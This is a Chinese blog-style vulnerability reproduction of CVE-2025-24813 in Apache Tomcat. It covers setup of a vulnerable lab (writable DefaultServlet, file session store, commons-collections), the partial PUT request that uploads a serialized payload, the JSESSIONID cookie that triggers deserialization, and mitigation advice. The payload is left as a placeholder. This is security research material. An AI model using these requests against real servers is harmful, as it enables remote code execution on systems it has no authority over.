【漏洞复现】Apache Tomcat partial PUT文件上传反序列化漏洞复现(CVE-2025-24813)

❤️博客主页iknow181
🔥系列专栏网络安全PythonJavaSEJavaWebCCNP
🎉欢迎大家点赞👍收藏⭐评论✍


0x00 免责声明

本文所述漏洞复现方法仅供安全研究及授权测试使用;任何个人/组织须在合法合规前提下实施,严禁用于非法目的。作者不对任何滥用行为及后果负责,如发现新漏洞请及时联系厂商并遵循漏洞披露规则。

0x01 漏洞描述

Apache Tomcat是由Apache软件基金会下属的Jakarta项目开发的Servlet容器。2025年3月,官方披露 CVE-2025-24813 Apache Tomcat partial PUT文件上传反序列化漏洞。

在 CVE-2025-24813 中在开启了PUT(默认关闭)的前提下,若同时开启了tomcat 持久化Session配置,攻击者可利用PUT上传文件,并构造恶意请求触发session文件反序列化,若同时有可利用gadget的情况下可能造成代码执行。

漏洞前置依赖条件较多,实际场景较为有限,需同时满足以下五个条件:

  1. 应用程序启用了DefaultServlet写入功能(默认情况下禁用)
  2. 服务器启用了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中(默认启用)
  3. 该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用 partial PUT 上传文件),需要额外配置
  4. 攻击者已知目标敏感文件的路径以及文件名
  5. 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库

0x02 漏洞影响范围

  • 9.0.0.M1 <= tomcat <= 9.0.98
  • 10.1.0-M1 <= tomcat <= 10.1.34
  • 11.0.0-M1 <= tomcat <= 11.0.2

0x03 原理分析

Content-Range 在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。当文件上传未完成时,上传的内容会暂时存储在Tomcat的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT。该漏洞的关键在于处理不完整PUT请求时对文件名的处理机制:文件路径中的分隔符/会被替换为.。例如,访问路径/iknow/session会被解析为.iknow.session

漏洞的利用过程如下:

  1. Tomcat的File会话存储默认路径也位于:$CATALINA_BASE/work/Catalina/localhost/ROOT

  2. 当存在反序列化利用链时,攻击者可以上传包含恶意序列化数据的文件。

  3. 通过设置JSESSIONID=.xxxxx来触发漏洞。

0x04 环境准备

下列地址均以本机apache-tomcat-9.0.97路径做示例

tomcat 下载地址:Index of /dist/tomcat/tomcat-9/v9.0.97/bin

1. 修改资源写入:

访问web.xml进行数据编辑

apache-tomcat-9.0.97\conf\web.xml

找到DefaultServlet 在下面增加一个redonly 设为false

复制代码
<init-param>
  <param-name>readonly</param-name>
  <param-value>false</param-value>
</init-param>

2. 开启会话存储:

访问context.xml增加文件会话存储

apache-tomcat-9.0.97\conf\context.xml

添加下列配置开启文件会话存储

复制代码
<Manager className="org.apache.catalina.session.PersistentManager">  
  <Store className="org.apache.catalina.session.FileStore" />  
</Manager>

3. 添加反序列化文件Commons Collections 3.2.1.jar

Commons Collections 3.2.1.jar 是一个 Java 类库文件,它属于 Apache Commons Collections 项目,因此需要新建个lib目录。进入下列路径

apache-tomcat-9.0.97\webapps\ROOT\WEB-INF\

新增lib文件夹并放入调用链jar包

调用链地址:

http://gitlab.53site.com/shuzhan/oss/-/raw/master/lib/commons-collections-3.2.1.jar?ref_type=heads

4. 完成后重启tomcat使配置生效

0x05 漏洞复现

1.调用链构建

调用K1链生成发序列化数据

2.构建写入数据包

直接把生成的代码整个复制过去,因为生成的代码是经过base64编码的,所以发送的时候需要解码

成功状态码是409

复制代码
PUT /ikonw/session HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

 {{base64dec(payload)}}

执行后会在下列路径中生成对应的文件

3.触发文件

注意这里JSESSIONID保持与写入值一致

复制代码
GET / HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=.iknow

此处需要注意,如果访问get请求返回码是200,说明失败了,请重新进行put请求

0x06 修复建议

  1. 临时防护措施
  • 在不影响业务的前提下,用户可将conf/web.xml文件中的串口参数设置为true或进行注释

  • 取消PUT方法并重新启动Tomcat服务使配置生效

  • 将org.apache.catalina.session.PersistentManager设置为false

  1. 补丁修复

Apache基金会官方已发布漏洞公告,可下载补丁更新

https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq

相关推荐
nington0124 分钟前
为Splunk登录开启OTP二次验证,增强访问安全
安全
智联视频超融合平台2 小时前
视频联网平台智慧运维系统:智能时代的城市视觉中枢
运维·网络协议·安全·音视频·智慧城市·视频编解码
cainiao0806053 小时前
脑机交互安全:如何防止恶意脑电波指令注入
安全
XMYX-04 小时前
如何加强 SSH 安全:内网和专用网络环境下的防护策略
网络·安全·ssh
神经毒素4 小时前
WEB安全--SQL注入--无列名注入
sql·安全·web安全
网络安全宇哥4 小时前
零基础被迫参加CTF比赛?CTF高频解题技巧与经验分享
经验分享·安全·web安全·安全架构·waf
秋说4 小时前
【区块链安全 | 第十七篇】类型之引用类型(一)
安全·区块链
久违 °4 小时前
【安全运营】关于攻击面管理相关概念的梳理(一)
安全·web安全·网络安全
是程序喵呀4 小时前
软考《信息系统运行管理员》- 6.3 信息系统软件的安全运行
安全·软考
Synfuture阳途5 小时前
关于终端安全管理系统在社会工作中的重要作用
安全